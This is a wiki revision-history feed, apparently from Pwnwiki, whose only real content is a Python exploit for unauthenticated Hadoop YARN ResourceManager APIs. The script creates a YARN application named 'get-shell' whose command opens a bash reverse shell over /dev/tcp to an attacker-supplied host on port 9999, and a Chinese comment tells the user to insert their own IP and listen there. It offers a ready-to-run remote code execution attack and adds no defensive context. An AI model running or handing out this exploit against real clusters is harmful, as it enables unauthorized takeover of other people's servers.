https://pwnwiki.com/index.php?action=history&feed=atom&title=Hadoop_%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%E6%BC%8F%E6%B4%9E
Hadoop 未授權訪問漏洞 - Revision history
2026-04-21T05:21:50Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=Hadoop_%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%E6%BC%8F%E6%B4%9E&diff=1557&oldid=prev
Pwnwiki: Created page with "==EXP== <pre> #!/usr/bin/env python import requests target = 'http://x.x.x.x:8088/' lhost = 'x.x.x.x' #把本地主機ip放在這裡，在9999端口監聽(使用時刪除註..."
2021-04-12T07:58:41Z
<p>Created page with "==EXP== <pre> #!/usr/bin/env python import requests target = 'http://x.x.x.x:8088/' lhost = 'x.x.x.x' #把本地主機ip放在這裡，在9999端口監聽(使用時刪除註..."</p>
<p><b>New page</b></p><div>==EXP==<br />
<pre><br />
#!/usr/bin/env python<br />
<br />
import requests<br />
<br />
target = 'http://x.x.x.x:8088/'<br />
lhost = 'x.x.x.x' #把本地主機ip放在這裡，在9999端口監聽(使用時刪除註釋)<br />
<br />
url = target + 'ws/v1/cluster/apps/new-application'<br />
resp = requests.post(url)<br />
app_id = resp.json()['application-id']<br />
url = target + 'ws/v1/cluster/apps'<br />
data = {<br />
'application-id': app_id,<br />
'application-name': 'get-shell',<br />
'am-container-spec': {<br />
'commands': {<br />
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,<br />
},<br />
},<br />
'application-type': 'YARN',<br />
}<br />
requests.post(url, json=data)<br />
<br />
</pre></div>
Pwnwiki